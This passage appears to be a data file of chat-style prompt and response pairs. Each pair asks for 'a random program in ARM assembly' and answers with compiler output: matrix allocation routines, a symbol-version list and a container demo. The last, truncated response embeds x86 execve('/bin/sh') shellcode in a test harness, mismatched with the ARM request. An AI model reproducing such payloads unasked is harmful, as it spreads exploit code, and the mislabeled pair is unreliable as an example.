adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl nrerror
.L25:
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x2, [sp, 88]
add x0, x2, x0
add x1, x1, 8
str x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 40]
lsl x0, x0, 3
neg x1, x0
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x3, [sp, 88]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 64]
b .L26
.L27:
ldr x0, [sp, 64]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 88]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 80]
lsl x1, x0, 3
ldr x0, [sp, 64]
lsl x0, x0, 3
ldr x3, [sp, 88]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 64]
add x0, x0, 1
str x0, [sp, 64]
.L26:
ldr x1, [sp, 64]
ldr x0, [sp, 48]
cmp x1, x0
ble .L27
ldr x0, [sp, 88]
ldr x19, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size dmatrix, .-dmatrix
.align 2
.global imatrix
.type imatrix, %function
imatrix:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -80
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 72]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 72]
add x0, x0, 1
lsl x0, x0, 3
bl malloc
str x0, [sp, 88]
ldr x0, [sp, 88]
cmp x0, 0
bne .L30
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl nrerror
.L30:
ldr x0, [sp, 88]
add x0, x0, 8
str x0, [sp, 88]
ldr x0, [sp, 56]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr x1, [sp, 72]
ldr x0, [sp, 80]
mul x0, x1, x0
add x0, x0, 1
lsl x2, x0, 2
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x19, x1, x0
mov x0, x2
bl malloc
str x0, [x19]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x0, [x0]
cmp x0, 0
bne .L31
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl nrerror
.L31:
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x2, [sp, 88]
add x0, x2, x0
add x1, x1, 4
str x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 40]
lsl x0, x0, 2
neg x1, x0
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x3, [sp, 88]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 64]
b .L32
.L33:
ldr x0, [sp, 64]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 88]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 80]
lsl x1, x0, 2
ldr x0, [sp, 64]
lsl x0, x0, 3
ldr x3, [sp, 88]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 64]
add x0, x0, 1
str x0, [sp, 64]
.L32:
ldr x1, [sp, 64]
ldr x0, [sp, 48]
cmp x1, x0
ble .L33
ldr x0, [sp, 88]
ldr x19, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size imatrix, .-imatrix
.section .rodata
.align 3
.LC10:
.string "allocation failure in submatrix()"
.text
.align 2
.global submatrix
.type submatrix, %function
submatrix:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str x2, [sp, 56]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str x6, [sp, 24]
ldr x1, [sp, 56]
ldr x0, [sp, 64]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 104]
ldr x1, [sp, 48]
ldr x0, [sp, 24]
sub x0, x1, x0
str x0, [sp, 112]
ldr x0, [sp, 104]
add x0, x0, 1
lsl x0, x0, 3
bl malloc
str x0, [sp, 120]
ldr x0, [sp, 120]
cmp x0, 0
bne .L36
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl nrerror
.L36:
ldr x0, [sp, 120]
add x0, x0, 8
str x0, [sp, 120]
ldr x0, [sp, 32]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 120]
add x0, x1, x0
str x0, [sp, 120]
ldr x0, [sp, 64]
str x0, [sp, 88]
ldr x0, [sp, 32]
str x0, [sp, 96]
b .L37
.L38:
ldr x0, [sp, 88]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 112]
lsl x1, x0, 2
ldr x0, [sp, 96]
lsl x0, x0, 3
ldr x3, [sp, 120]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 88]
add x0, x0, 1
str x0, [sp, 88]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
.L37:
ldr x1, [sp, 88]
ldr x0, [sp, 56]
cmp x1, x0
ble .L38
ldr x0, [sp, 120]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size submatrix, .-submatrix
.section .rodata
.align 3
.LC11:
.string "allocation failure in convert_matrix()"
.text
.align 2
.global convert_matrix
.type convert_matrix, %function
convert_matrix:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
ldr x1, [sp, 40]
ldr x0, [sp, 48]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 88]
ldr x1, [sp, 24]
ldr x0, [sp, 32]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 88]
add x0, x0, 1
lsl x0, x0, 3
bl malloc
str x0, [sp, 104]
ldr x0, [sp, 104]
cmp x0, 0
bne .L41
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl nrerror
.L41:
ldr x0, [sp, 104]
add x0, x0, 8
str x0, [sp, 104]
ldr x0, [sp, 48]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 104]
add x0, x1, x0
str x0, [sp, 104]
ldr x0, [sp, 32]
lsl x0, x0, 2
neg x1, x0
ldr x0, [sp, 48]
lsl x0, x0, 3
ldr x2, [sp, 104]
add x0, x2, x0
ldr x2, [sp, 56]
add x1, x2, x1
str x1, [x0]
mov x0, 1
str x0, [sp, 72]
ldr x0, [sp, 48]
add x0, x0, 1
str x0, [sp, 80]
b .L42
.L43:
ldr x0, [sp, 80]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 104]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 96]
lsl x1, x0, 2
ldr x0, [sp, 80]
lsl x0, x0, 3
ldr x3, [sp, 104]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
.L42:
ldr x1, [sp, 72]
ldr x0, [sp, 88]
cmp x1, x0
blt .L43
ldr x0, [sp, 104]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size convert_matrix, .-convert_matrix
.section .rodata
.align 3
.LC12:
.string "allocation failure 1 in f3tensor()"
.align 3
.LC13:
.string "allocation failure 2 in f3tensor()"
.align 3
.LC14:
.string "allocation failure 3 in f3tensor()"
.text
.align 2
.global f3tensor
.type f3tensor, %function
f3tensor:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -112
str x0, [sp, 72]
str x1, [sp, 64]
str x2, [sp, 56]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
ldr x1, [sp, 64]
ldr x0, [sp, 72]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 96]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 104]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 112]
ldr x0, [sp, 96]
add x0, x0, 1
lsl x0, x0, 3
bl malloc
str x0, [sp, 120]
ldr x0, [sp, 120]
cmp x0, 0
bne .L46
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl nrerror
.L46:
ldr x0, [sp, 120]
add x0, x0, 8
str x0, [sp, 120]
ldr x0, [sp, 72]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 120]
add x0, x1, x0
str x0, [sp, 120]
ldr x1, [sp, 96]
ldr x0, [sp, 104]
mul x0, x1, x0
add x0, x0, 1
lsl x2, x0, 3
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x19, x1, x0
mov x0, x2
bl malloc
str x0, [x19]
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x0, [x0]
cmp x0, 0
bne .L47
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl nrerror
.L47:
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x2, [sp, 120]
add x0, x2, x0
add x1, x1, 8
str x1, [x0]
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
neg x1, x0
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x3, [sp, 120]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x1, [sp, 96]
ldr x0, [sp, 104]
mul x1, x1, x0
ldr x0, [sp, 112]
mul x0, x1, x0
add x0, x0, 1
lsl x2, x0, 2
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x19, x1, x0
mov x0, x2
bl malloc
str x0, [x19]
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x0, x1, x0
ldr x0, [x0]
cmp x0, 0
bne .L48
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl nrerror
.L48:
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x2, [sp, 120]
add x0, x2, x0
ldr x2, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x0, x2, x0
add x1, x1, 4
str x1, [x0]
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 40]
lsl x0, x0, 2
neg x1, x0
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x3, [sp, 120]
add x0, x3, x0
ldr x3, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 88]
b .L49
.L50:
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 88]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 112]
lsl x1, x0, 2
ldr x0, [sp, 72]
lsl x0, x0, 3
ldr x3, [sp, 120]
add x0, x3, x0
ldr x3, [x0]
ldr x0, [sp, 88]
lsl x0, x0, 3
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 88]
add x0, x0, 1
str x0, [sp, 88]
.L49:
ldr x1, [sp, 88]
ldr x0, [sp, 48]
cmp x1, x0
ble .L50
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 80]
b .L51
.L54:
ldr x0, [sp, 80]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 120]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 104]
lsl x1, x0, 3
ldr x0, [sp, 80]
lsl x0, x0, 3
ldr x3, [sp, 120]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 80]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x0, x1, x0
ldr x2, [x0]
ldr x1, [sp, 104]
ldr x0, [sp, 112]
mul x0, x1, x0
lsl x1, x0, 2
ldr x0, [sp, 80]
lsl x0, x0, 3
ldr x3, [sp, 120]
add x0, x3, x0
ldr x3, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 88]
b .L52
.L53:
ldr x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 88]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 112]
lsl x1, x0, 2
ldr x0, [sp, 80]
lsl x0, x0, 3
ldr x3, [sp, 120]
add x0, x3, x0
ldr x3, [x0]
ldr x0, [sp, 88]
lsl x0, x0, 3
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 88]
add x0, x0, 1
str x0, [sp, 88]
.L52:
ldr x1, [sp, 88]
ldr x0, [sp, 48]
cmp x1, x0
ble .L53
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
.L51:
ldr x1, [sp, 80]
ldr x0, [sp, 64]
cmp x1, x0
ble .L54
ldr x0, [sp, 120]
ldr x19, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size f3tensor, .-f3tensor
.align 2
.global free_vector
.type free_vector, %function
free_vector:
.LFB18:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
ldr x0, [sp, 32]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 40]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE18:
.size free_vector, .-free_vector
.align 2
.global free_ivector
.type free_ivector, %function
free_ivector:
.LFB19:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
ldr x0, [sp, 32]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 40]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE19:
.size free_ivector, .-free_ivector
.align 2
.global free_cvector
.type free_cvector, %function
free_cvector:
.LFB20:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
ldr x0, [sp, 32]
sub x0, x0, #1
ldr x1, [sp, 40]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE20:
.size free_cvector, .-free_cvector
.align 2
.global free_lvector
.type free_lvector, %function
free_lvector:
.LFB21:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
ldr x0, [sp, 32]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE21:
.size free_lvector, .-free_lvector
.align 2
.global free_dvector
.type free_dvector, %function
free_dvector:
.LFB22:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
ldr x0, [sp, 32]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE22:
.size free_dvector, .-free_dvector
.align 2
.global free_matrix
.type free_matrix, %function
free_matrix:
.LFB23:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
ldr x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 32]
lsl x0, x0, 2
sub x0, x0, #4
add x0, x1, x0
bl free
ldr x0, [sp, 48]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE23:
.size free_matrix, .-free_matrix
.align 2
.global free_dmatrix
.type free_dmatrix, %function
free_dmatrix:
.LFB24:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
ldr x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 32]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
bl free
ldr x0, [sp, 48]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE24:
.size free_dmatrix, .-free_dmatrix
.align 2
.global free_imatrix
.type free_imatrix, %function
free_imatrix:
.LFB25:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
ldr x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 32]
lsl x0, x0, 2
sub x0, x0, #4
add x0, x1, x0
bl free
ldr x0, [sp, 48]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE25:
.size free_imatrix, .-free_imatrix
.align 2
.global free_submatrix
.type free_submatrix, %function
free_submatrix:
.LFB26:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
ldr x0, [sp, 48]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE26:
.size free_submatrix, .-free_submatrix
.align 2
.global free_convert_matrix
.type free_convert_matrix, %function
free_convert_matrix:
.LFB27:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
ldr x0, [sp, 48]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE27:
.size free_convert_matrix, .-free_convert_matrix
.align 2
.global free_f3tensor
.type free_f3tensor, %function
free_f3tensor:
.LFB28:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str x2, [sp, 56]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str x6, [sp, 24]
ldr x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 48]
lsl x0, x0, 3
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 32]
lsl x0, x0, 2
sub x0, x0, #4
add x0, x1, x0
bl free
ldr x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 48]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
bl free
ldr x0, [sp, 64]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 72]
add x0, x1, x0
bl free
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE28:
.size free_f3tensor, .-free_f3tensor
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global IID_IWEExtendWizard
.section .rodata
.align 3
.type IID_IWEExtendWizard, %object
.size IID_IWEExtendWizard, 24
IID_IWEExtendWizard:
.xword 2547965539
.hword -917
.hword 4559
.string "\265\365"
.ascii "\240\311\n\265\005"
.zero 4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
#APP
.symver COIBufferAddRef1,COIBufferAddRef@@COI_1.0
.symver COIBufferCopy1,COIBufferCopy@@COI_1.0
.symver COIBufferCreate1,COIBufferCreate@@COI_1.0
.symver COIBufferCreateFromMemory1,COIBufferCreateFromMemory@@COI_1.0
.symver COIBufferDestroy1,COIBufferDestroy@@COI_1.0
.symver COIBufferGetSinkAddress1,COIBufferGetSinkAddress@@COI_1.0
.symver COIBufferMap1,COIBufferMap@@COI_1.0
.symver COIBufferRead1,COIBufferRead@@COI_1.0
.symver COIBufferReleaseRef1,COIBufferReleaseRef@@COI_1.0
.symver COIBufferSetState1,COIBufferSetState@@COI_1.0
.symver COIBufferUnmap1,COIBufferUnmap@@COI_1.0
.symver COIBufferWrite1,COIBufferWrite@@COI_1.0
.symver COIEngineGetCount1,COIEngineGetCount@@COI_1.0
.symver COIEngineGetHandle1,COIEngineGetHandle@@COI_1.0
.symver COIEngineGetIndex1,COIEngineGetIndex@@COI_1.0
.symver COIEngineGetInfo1,COIEngineGetInfo@@COI_1.0
.symver COIEventRegisterCallback1,COIEventRegisterCallback@@COI_1.0
.symver COIEventWait1,COIEventWait@@COI_1.0
.symver COIPerfGetCycleFrequency1,COIPerfGetCycleFrequency@@COI_1.0
.symver COIPipelineClearCPUMask1,COIPipelineClearCPUMask@@COI_1.0
.symver COIPipelineCreate1,COIPipelineCreate@@COI_1.0
.symver COIPipelineDestroy1,COIPipelineDestroy@@COI_1.0
.symver COIPipelineRunFunction1,COIPipelineRunFunction@@COI_1.0
.symver COIPipelineSetCPUMask1,COIPipelineSetCPUMask@@COI_1.0
.symver COIPipelineStartExecutingRunFunctions1,COIPipelineStartExecutingRunFunctions@@COI_1.0
.symver COIProcessCreateFromFile1,COIProcessCreateFromFile@@COI_1.0
.symver COIProcessCreateFromMemory1,COIProcessCreateFromMemory@@COI_1.0
.symver COIProcessDestroy1,COIProcessDestroy@@COI_1.0
.symver COIProcessGetFunctionHandles1,COIProcessGetFunctionHandles@@COI_1.0
.symver COIProcessLoadLibraryFromMemory2,COIProcessLoadLibraryFromMemory@COI_2.0
.symver COIProcessRegisterLibraries1,COIProcessRegisterLibraries@@COI_1.0
.symver COIProcessUnloadLibrary1,COIProcessUnloadLibrary@@COI_1.0
.symver COIProcessWaitForShutdown1,COIProcessWaitForShutdown@@COI_1.0
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.local container_stack
.comm container_stack,1048576,8
.global container_args
.section .rodata
.align 3
.LC0:
.string "/bin/bash"
.section .data.rel.ro.local,"aw"
.align 3
.type container_args, %object
.size container_args, 16
container_args:
.xword .LC0
.xword 0
.section .rodata
.align 3
.LC1:
.string "Container [%5d] - inside the container!\n"
.align 3
.LC2:
.string "container"
.align 3
.LC3:
.string "mount -t proc proc /proc"
.align 3
.LC4:
.string "Something's wrong!"
.text
.align 2
.global container_main
.type container_main, %function
container_main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
bl getpid
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov x1, 10
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl sethostname
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl system
adrp x0, .LC0
add x2, x0, :lo12:.LC0
adrp x0, container_args
add x1, x0, :lo12:container_args
mov x0, x2
bl execv
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl puts
mov w0, 1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size container_main, .-container_main
.section .rodata
.align 3
.LC5:
.string "Parent [%5d] - start a container!\n"
.align 3
.LC6:
.string "Parent - container stopped!"
.text
.align 2
.global main
.type main, %function
main:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
bl getpid
mov w1, w0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
adrp x0, container_stack+1048576
add x0, x0, :lo12:container_stack+1048576
mov x3, 0
mov w2, 17
movk w2, 0x2402, lsl 16
mov x1, x0
adrp x0, container_main
add x0, x0, :lo12:container_main
bl clone
str w0, [sp, 28]
mov w2, 0
mov x1, 0
ldr w0, [sp, 28]
bl waitpid
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl puts
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global shellcode
.data
.align 3
.type shellcode, %object
.size shellcode, 24
shellcode:
.string "1\3111\322Rhn/shh//bi\211\3431\300\260\013\315\200"
.section .rodata
.align 3
.LC0:
.string "[*] shellcode length: %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, shellcode
